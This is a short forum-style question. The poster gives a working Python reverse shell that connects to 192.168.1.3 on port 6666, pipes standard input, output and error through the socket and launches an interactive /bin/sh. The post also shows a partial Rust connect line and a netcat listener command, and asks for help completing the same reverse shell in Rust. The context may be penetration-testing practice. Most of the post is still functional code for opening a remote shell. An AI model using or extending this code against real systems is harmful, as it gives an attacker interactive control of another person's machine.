One can create a reverse shell using Python with the following code sample if the machine with the IP address is listening on the given port:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([\"/bin/sh\", \"-i\"]);
I am trying to duplicate this process with Rust:
let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").expect("Couldn't connect to the server...");
I only got as far as getting a TCP connection to my host machine (listening with netcat: nc -l -p 6666). If I understand correctly, I need to redirect standard input, output, and error, through the socket and then somehow "call" /bin/sh (should I use /bin/bash?). I am relatively new to networking and I don't understand many of the concepts.
Could someone help me create this reverse shell script in Rust?